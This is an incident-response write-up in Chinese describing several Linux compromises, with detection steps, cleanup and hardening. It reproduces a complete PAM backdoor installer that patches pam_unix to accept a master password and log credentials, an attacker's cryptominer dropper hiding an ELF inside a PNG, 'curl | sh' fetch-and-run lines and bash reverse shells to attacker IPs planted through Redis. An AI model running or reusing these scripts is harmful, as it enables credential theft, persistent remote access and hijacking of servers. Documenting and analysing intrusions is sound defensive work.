Process Explorer
Wsyscheck
PC Hunter
autoruns

改进方案


1)windows下的查杀相比Linux复杂一些,windows下还是必须要安装杀毒软件的。
2)将DB改为内网调用,去掉公网IP,将Mysql迁到Linux下并降权。

参考文章


http://www.jb51.net/hack/82851.html
http://jingyan.baidu.com/article/0964eca26f47b38285f536c6.html
http://bbs.kafan.cn/thread-2047183-1-1.html
http://bbs.kafan.cn/thread-2064286-1-1.html

自动化脚本


https://github.com/litsand/shell/blob/master/pam.sh

#!/bin/bash
## 
##查看版本:
##redhat yum list pam
##debian&Ubuntu dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
##
PASS='test123' ##......
LOG='\/bin\/.sshlog' ##......

echo "
.___ ___. ___ ___ _______ ____ ____ 
| \/ | / _ \ / _ \ | \ \ \ / / 
| \ / | | | | | | | | | | .--. | \ \/ / 
| |\/| | | | | | | | | | | | | | \_ _/ 
| | | | | |_| | | |_| | | '--' | | | 
|__| |__| \___/ \___/ |_______/ |__| "
echo -e "\nPam-Backdoor\n{code this shit while learning pam}\n\n"
oldtime=`stat -c '%z' /lib/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf Linux-PAM-1.1.1.tar.gz #untar
cd Linux-PAM-1.1.1
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
#copy modified pam_unix.so
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /lib/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "Done bro.."

然后登录后便会记录密码

[root@server120 ~]# cat /bin/.sshlog 
root : test123

排查方式


1.通过Strace跟踪ssh

[root@server120 tmp]# ps axu | grep sshd
root 7262 0.0 0.0 66604 1232 ? Ss 2016 0:01 /usr/sbin/sshd
[root@server120 tmp]# strace -o aa -ff -p 7262
[root@server120 tmp]# grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.26246:open("/bin/.sshlog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 7

2.检查pam_unix.so的mtime
32位:

[root@server120 tmp]# stat /lib/security/pam_unix.so

64位:

[root@server120 tmp]# stat /lib64/security/pam_unix.so

修复方案


yum reinstall pam

参考文章


http://www.freebuf.com/articles/system/24104.html

简介


攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

排查过程


检查进程发现SSH后门

[root@testserver tmp]# ps aux | grep 2345 | grep -v grep
root 13587 0.0 0.0 66624 1144 ? Ss Mar22 0:00 /tmp/su -oPort=2345
[root@testserver tmp]# lsof -p 13587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
su 13587 root cwd DIR 202,2 4096 2 /
su 13587 root rtd DIR 202,2 4096 2 /
su 13587 root txt REG 202,2 546680 1718717 /usr/sbin/sshd

发现异常进程

root 1800 57064 0 00:46 ? 00:00:00 CROND
root 1801 1800 0 00:46 ? 00:00:00 /bin/sh -c curl -fsSL http://104.156.239.160:8080/conn.sh | sh 
root 1803 1801 0 00:46 ? 00:00:03 sh

PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。


发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
脚本内容如下:

#!/bin/sh
ps -fe|grep conns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi

sleepTime=20

while [ 0 -lt 1 ]
do
ps -fe| grep conns | grep -v grep 
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & 
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
fi
sleep $sleepTime
done
[root@server120 tmp]# file /tmp/conn
/tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced

首先下载了一个图片,然后通过dd提取出来挖矿程序。

[root@server120 tmp]# file /tmp/conns
/tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

然后每20S检查一下进程是否存活。
这种通过Redis未授权拿服务器挖矿的情况很常见。

处理过程


1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
2)删除后门
3)Kill异常进程
4)重启

背景


一哥们反应自己的测试机器总是关机,联系云主机客服得知服务器总是大量发包,导致技术关停该机器。

排查过程


Last查看登录记录

查找到一个可疑IP

[root@i-9kp9tipm dpkgd]# grep "1.180.212.21" /var/log/secure*
/var/log/secure-20170409:Apr  4 22:20:43 i-9kp9tipm sshd[25921]: Accepted password for root from 1.180.212.21 port 5777 ssh2
/var/log/secure-20170409:Apr  4 23:21:16 i-9kp9tipm sshd[29214]: Accepted password for root from 1.180.212.21 port 50625 ssh2
/var/log/secure-20170409:Apr  5 00:13:12 i-9kp9tipm sshd[31509]: Accepted password for root from 1.180.212.21 port 12305 ssh2
/var/log/secure-20170409:Apr  5 00:24:56 i-9kp9tipm sshd[32029]: Accepted password for root from 1.180.212.21 port 12334 ssh2

查看所有登录成功的记录

[root@i-9kp9tipm log]# grep "Accept" /var/log/secure* | awk '{print $11}' | sort | uniq
1.180.212.21
119.254.100.106
124.207.112.10

确认后得知119.254.100.106和124.207.112.10为正常IP,但是这哥们的Root密码也算是复杂。
既然Root被拿了,那么看一下常用命令呢

[root@i-9kp9tipm log]# ls -alt /bin/ | head -n 10
total 8324
-rwxr-xr-x.  1 root root 1135000 Apr 10 10:05 ps
-rwxr-xr-x.  1 root root 1135000 Apr 10 10:05 netstat

发现ps和netstat被替换

[root@i-9kp9tipm log]# ls -alt /usr/sbin/ | head -n 10
total 11108
-rwxr-xr-x.  1 root root     1223123 Apr 10 10:05 ss

发现ss被替换

[root@i-9kp9tipm log]# ls -alt /usr/bin/ | head -n 10
total 25908
-rwxr-xr-x   1 root root   1135000 Apr 10 10:05 pythno
-rwxr-xr-x   1 root root   1223123 Apr 10 10:05 .sshd
drwxr-xr-x   2 root root      4096 Apr  7 21:29 bsd-port
dr-xr-xr-x.  4 root root     16384 Apr  7 21:29 .
drwxr-xr-x   2 root root      4096 Apr  7 06:41 dpkgd

发现2进制程序pythno和.sshd,并且在bsd-port下也有两个可执行程序
在dpkgd目录下发现替换之前的命令

[root@i-9kp9tipm dpkgd]# ll
total 280
-rwxr-xr-x 1 root root 123360 Apr  7 06:41 netstat
-rwxr-xr-x 1 root root  85304 Apr  7 06:41 ps
-rwxr-xr-x 1 root root  71024 Apr  7 06:41 ss

看一下.sshd文件的时间点。

 [root@i-9kp9tipm log]# stat /usr/bin/.sshd
  File: `/usr/bin/.sshd'
  Size: 1223123       Blocks: 2392       IO Block: 4096   regular file
Device: 801h/2049d    Inode: 794702      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-04-10 10:05:45.425551007 +0800
Modify: 2017-04-10 10:05:44.419550999 +0800
Change: 2017-04-10 10:05:44.419550999 +0800

用Strings查看一下

[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'
8.8.8.8
8.8.4.4
8.8.8.8
61.132.163.68
202.102.192.68
202.102.213.68
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3

发现里面有很多IP地址。

查看下当前的连接:

[root@i-9kp9tipm tmp]# netstat -antlp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1273/sshd           
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      1655/master         
tcp        0     64 192.168.100.3:22            218.247.17.100:29737        ESTABLISHED 2007/sshd           
tcp        0      0 192.168.100.3:22            124.207.112.10:54772        ESTABLISHED 1919/sshd           
tcp        0      1 192.168.100.3:35806         43.241.157.58:6001          SYN_SENT    1742/getty          
tcp        0      1 192.168.100.3:48358         211.149.149.191:45693       SYN_SENT    1677/abcfg          
tcp        0      1 192.168.100.3:47268         61.147.73.76:1233           SYN_SENT    1683/VI             
tcp        0      0 :::3306                     :::*                        LISTEN      1508/mysqld         
tcp        0      0 :::22                       :::*                        LISTEN      1273/sshd           
tcp        0      0 ::1:25                      :::*                        LISTEN      1655/master

发现了3个可以进程1742、1677、1683
看一下这些可执行程序在什么地方

[root@i-9kp9tipm tmp]# ps axu | grep 1677
root      1677  0.0  0.0  93636   892 ?        Ssl  10:05   0:01 /usr/local/tomcat/abcfg
[root@i-9kp9tipm tmp]# ps axu | grep 1683
root      1683  0.0  0.0  73088   824 ?        Ssl  10:05   0:01 /usr/local/tomcat/VI
[root@i-9kp9tipm init.d]# ps aux | grep 1742 | grep -v grep
[root@i-9kp9tipm init.d]#

发现这个ps看不到1742,然后我从自己主机上拷贝了一个ps过来,再执行下

[root@i-9kp9tipm init.d]# /tmp/ps aux | grep 1742 | grep -v grep
root      1742  0.0  0.0  93636   896 ?        Ssl  10:05   0:00 /usr/bin/bsd-port/getty
可以看到了
[root@i-9kp9tipm tomcat]# ls /usr/local/tomcat
abcfg  conf    idus.log  LICENSE  logs    RELEASE-NOTES  temp      VI       work
bin    conf.n  lib       linux    NOTICE  RUNNING.txt    vga.conf  webapps

这三个2进制程序

-rwxrwxrwx   1 root root 1135000 Apr  7 21:24 VI
-rwxrwxrwx   1 root root  826008 Apr  6 20:22 linux
-rwxrwxrwx   1 root root 1223123 Apr  6 19:54 abcfg

然后哥们反馈的是开机就会大量发包,来看下crontab,没有异常。查看rc.local没有异常。查看/etc/cron*没有异常。检查/etc/init.d的时候发现

[root@i-9kp9tipm init.d]# ls -alt /etc/init.d/
total 240
drwxr-xr-x.  2 root root  4096 Apr 10 10:43 .
-rwxr-xr-x   1 root root    36 Apr 10 10:05 selinux
-rwxr-xr-x   1 root root    33 Apr 10 10:05 VsystemsshMdt
-rwxr-xr-x   1 root root    36 Apr 10 10:05 DbSecuritySpt

[root@i-9kp9tipm init.d]# cat /etc/init.d/VsystemsshMdt
#!/bin/bash
/usr/local/tomcat/VI
[root@i-9kp9tipm init.d]# cat /etc/init.d/DbSecuritySpt
#!/bin/bash
/usr/local/tomcat/abcfg
[root@i-9kp9tipm init.d]# cat /etc/init.d/selinux
#!/bin/bash
/usr/bin/bsd-port/knerl

/tmp下发现DDOS客户端文件

[root@i-9kp9tipm tmp]# ll
total 3132
-rwxrwxrwx  1 root  root     6800 Apr  9 16:57 dbuspm-session
-rwxrwxrwx  1 root  root  1584675 Apr  9 16:44 DDosClient
-rwxrwxrwx  1 root  root  1584675 Apr  9 16:40 dllhest
-rwxr-xr-x  1 root  root        4 Apr 10 10:50 gates.lod
drwxr-xr-x  2 root  root     4096 Apr 10 10:55 hsperfdata_root
-rwxr-xr-x  1 root  root        4 Apr 10 10:50 moni.lod
srwxrwxrwx  1 mysql mysql       0 Apr 10 10:05 mysql.sock

检查history没有发现操作记录。
检查mysql,发现密码简单123456,启动权限为mysql,plugin目录没有写入权限。
history中看到哥们之前有安装redis,且redis.conf中没有配置pass,检查/root/.ssh下没有发现异常,查看redis键未发现异常。
中间件是tomcat,发现/manager/html,没有账户。
项目为java项目,用到了struts2,检查struts2的版本

[root@i-9kp9tipm lib]# ll struts2-core*
-rw-r--r-- 1 root root 802044 Apr  6 16:05 struts2-core-2.3.15.1.jar

查看access log

cat localhost_access_log* | grep -v '127.0.0.1' | grep -v '124.207.112.10'

没有发现异常

处理方式


1)加强SSH和Mysql密码,SSH限制IP访问,redis后期如果使用需配置认证。如无需对外提供服务,仅监听本地。
2)升级struts2到2.3.32版本
3)杀死进程

[root@i-9kp9tipm init.d]# kill -9 1742
[root@i-9kp9tipm init.d]# kill -9 1677
[root@i-9kp9tipm init.d]# kill -9 1683

4)删除木马文件,拷贝正常命令

[root@i-9kp9tipm manager]# rm -f /usr/bin/.sshd
[root@i-9kp9tipm manager]# rm -f /bin/netstat
[root@i-9kp9tipm manager]# rm -f /bin/ps
[root@i-9kp9tipm manager]# rm -f /usr/bin/pythno
[root@i-9kp9tipm bin]# rm -f /usr/bin/bsd-port/getty*
[root@i-9kp9tipm bin]# rm -f /usr/bin/bsd-port/knerl*
[root@i-9kp9tipm bin]# rm -f /usr/sbin/ss
[root@i-9kp9tipm tmp]# rm -rf /tmp/*

[root@i-9kp9tipm tomcat]# rm -f abcfg
rm: cannot remove `abcfg': Operation not permitted
[root@i-9kp9tipm tomcat]# lsattr abcfg
----i--------e- abcfg
[root@i-9kp9tipm tomcat]# chattr -i abcfg
[root@i-9kp9tipm tomcat]# rm -f abcfg
[root@i-9kp9tipm tomcat]# rm -f linux
rm: cannot remove `linux': Operation not permitted
[root@i-9kp9tipm tomcat]# chattr -i linux
[root@i-9kp9tipm tomcat]# rm -f linux
[root@i-9kp9tipm tomcat]# rm -f VI
[root@i-9kp9tipm tomcat]# rm -f idus.log
[root@i-9kp9tipm tomcat]# rm -f vga.conf

5)删除开机启动项

[root@i-9kp9tipm init.d]# rm -f /etc/init.d/selinux
[root@i-9kp9tipm init.d]# rm -f /etc/init.d/DbSecuritySpt
[root@i-9kp9tipm init.d]# rm -f /etc/init.d/VsystemsshMdt

6)重启

2017.3.27中午运维反应怀疑zabbix所在服务器被入侵。


排查过程:

ps查看进程,发现端口反弹行为

Bash反弹:/dev/tcp/107.151.149.242/82 0>&1
Python反弹:rssocks -s 107.151.149.242:1080

查看进程启动时间发现为Feb 27,启动账户为Root。
查看/sbin /usr/bin /usr/sbin /bin

[root@blog73 etc]# ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Feb 27"
-rwxr-xr-x 1 root root 84824 Feb 27 2013 dbus-binding-tool
-rwxr-xr-x 1 root root 66360 Feb 27 16:52 scp
-rwxr-xr-x 1 root root 108760 Feb 27 16:52 sftp
lrwxrwxrwx 1 root root 5 Feb 27 16:52 slogin -> ./ssh
-rwxr-xr-x 1 root root 403104 Feb 27 16:52 ssh
-rwxr-xr-x 1 root root 139704 Feb 27 16:52 ssh-add
-rwxr-xr-x 1 root root 122992 Feb 27 16:52 ssh-agent
-rwxr-xr-x 1 root root 189280 Feb 27 16:52 ssh-keygen
-rwxr-xr-x 1 root root 230112 Feb 27 16:52 ssh-keyscan
-rwxr-xr-x 1 root root 493504 Feb 27 16:52 sshd

发现sshd Mtime为Feb 27,可以确认此时的SSH已经被植入后门,一般的SSH后门比较容易发现,功能如下:
1)如果我通过SSH登录该服务器,那么攻击者可以记录我的登录密码
2)可以记录从该机器SSH到其他机器的密码

查找到攻击者下载的文件:

[root@blog73 tmp]# ll /var/tmp/
total 20
-rw-r--r-- 1 root root 517 Mar 27 13:48 getTitle.py
drwxr-xr-x 6 root root 4096 Feb 27 17:22 python
-rw-r--r-- 1 root root 689 Mar 27 13:48 ssh.py
drwxr-xr-x 5 1000 1000 4096 Feb 27 16:59 sss
drwxr-xr-x 4 root root 4096 Apr 16 2015 tat

其中sss下为socks的源码文件。

[root@blog73 bin]# ll /usr/local/bin/ssocks*
-rwxr-xr-x 1 root root 115732 Feb 27 16:59 /usr/local/bin/ssocks
-rwxr-xr-x 1 root root 107074 Feb 27 16:59 /usr/local/bin/ssocksd

在根目录下发现攻击者的SSH密码记录文件。

[root@blog73 /]# ls -al | grep log
-rw-r--r-- 1 root root 372 Mar 27 13:38 .ilog
[root@blog73 /]# cat .ilog
user:password --> web:************
user:password --> admin:*************

在定时任务中发现了攻击者的反弹任务

[root@blog73 /]# crontab -l
REDIS0006þ<

*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1

这个很明显是利用Root启动的Redis无密码持久化写入反弹任务。查看Redis

[root@blog73 web]# /usr/local/bin/redis-cli
127.0.0.1:6379> KEYS *
1) "1"
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1\n\n\n"

果然发现了该value

查看还未断开的攻击者的连接

[root@blog73 tmp]# ps axu | grep Feb27 | grep bash
root 12411 0.0 0.0 66124 1560 ? S Feb27 0:00 bash -i
root 24268 0.0 0.0 66124 1568 ? S Feb27 0:00 bash -i
[root@blog73 fd]# lsof -p 12411
bash 12411 root 0u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 1u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 2u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 255u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
[root@blog73 12411]# lsof -p 24268
bash 24268 root 0u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 1u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 2u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 255u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)

通过history查看攻击者的其他行为:

82 [2017-02-27 16:33:28][root][] nmap 192.168.122.1/24 -p873
83 [2017-02-27 16:33:55][root][] nmap 192.168.109.1/24 -p873
85 [2017-02-27 16:34:57][root][] nmap 59.151.113.73/24 -p6379,2049

攻击者扫描内网Rsync端口。

109 [2017-02-27 16:47:57][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/sshBackdoorinsatll.sh --no-check
110 [2017-02-27 16:48:00][root][] ls
111 [2017-02-27 16:48:08][root][] mv sshBackdoorinsatll.sh /var/tmp/
112 [2017-02-27 16:48:10][root][] cd /var/tmp
113 [2017-02-27 16:48:10][root][] ls
114 [2017-02-27 16:49:26][root][] chmod +x sshBackdoorinsatll.sh
115 [2017-02-27 16:49:40][root][] ssh -V
116 [2017-02-27 16:50:03][root][] ./sshBackdoorinsatll.sh OpenSSH_4.3 p2
117 [2017-02-27 16:52:48][root][] ls
118 [2017-02-27 16:53:08][root][] /etc/init.d/sshd restart

攻击者下载SSH后门,并执行替换SSH。

120 [2017-02-27 16:56:41][root][] wget https://svwh.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
121 [2017-02-27 16:58:38][root][] ls
122 [2017-02-27 16:58:44][root][] tar zxvf ssocks-0.0.14.tar.gz
123 [2017-02-27 16:58:51][root][] mv ssocks-0.0.14 sss
124 [2017-02-27 16:58:52][root][] ls
125 [2017-02-27 16:58:54][root][] cd sss
126 [2017-02-27 16:58:54][root][] ls
127 [2017-02-27 16:59:09][root][] ./configure && make
128 [2017-02-27 16:59:39][root][] make install

攻击者下载Sock反弹程序。

135 [2017-02-27 17:00:52][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/getTitle.py --no-check
144 [2017-02-27 17:07:01][root][] python getTitle.py 10.59.0 80
145 [2017-02-27 17:07:12][root][] pip install requests
146 [2017-02-27 17:10:22][root][] wget https://pypi.python.org/packages/37/e4/74cb55b3da7777a1dc7cd7985c3cb12e83e213c03b0f9ca20d2c0e92b3c3/requests-1.2.0.tar.gz#md5=22af2682233770e5468a986f451c51c0 --no-check
147 [2017-02-27 17:10:25][root][] ls
148 [2017-02-27 17:10:35][root][] tar zxvf requests-1.2.0.tar.gz
149 [2017-02-27 17:10:44][root][] cd requests-1.2.0
150 [2017-02-27 17:10:44][root][] ls
151 [2017-02-27 17:10:53][root][] python setup.py
152 [2017-02-27 17:11:00][root][] python install setup.py
153 [2017-02-27 17:11:04][root][] python setup.py install
154 [2017-02-27 17:11:23][root][] cd ..
155 [2017-02-27 17:11:23][root][] ls
156 [2017-02-27 17:11:25][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48
157 [2017-02-27 17:11:35][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48 --no-check
158 [2017-02-27 17:12:20][root][] tar zxvf requests-0.13.4.tar.gz
159 [2017-02-27 17:12:25][root][] cd requests-0.13.4
160 [2017-02-27 17:12:25][root][] ls
161 [2017-02-27 17:12:29][root][] python setup.py
162 [2017-02-27 17:14:38][root][] yum install python
163 [2017-02-27 17:14:55][root][] yum
164 [2017-02-27 17:15:18][root][] yum update python

攻击者下载了扫描内网80端口并且记录title的Python程序getTitle.py,想进一步扫描内网,但是发现Linux自带的Python没有requests包,下载requests包并安装,升级Python版本。后未执行成功该脚本。


处理方式

1)KIll异常进程,删除Py文件、crontab内容。
2)重装Openssh
3)卸载Redis
4)重启服务器


改进方案

1)
之前监控重心一直在JAVA Web服务器上,HIDS并未在全网部署,需要全网推行。

2)
蜜罐监控端口较为局限,之前只是监控了常用密码扫描的敏感端口服务,本次更新添加873、6379、9200等。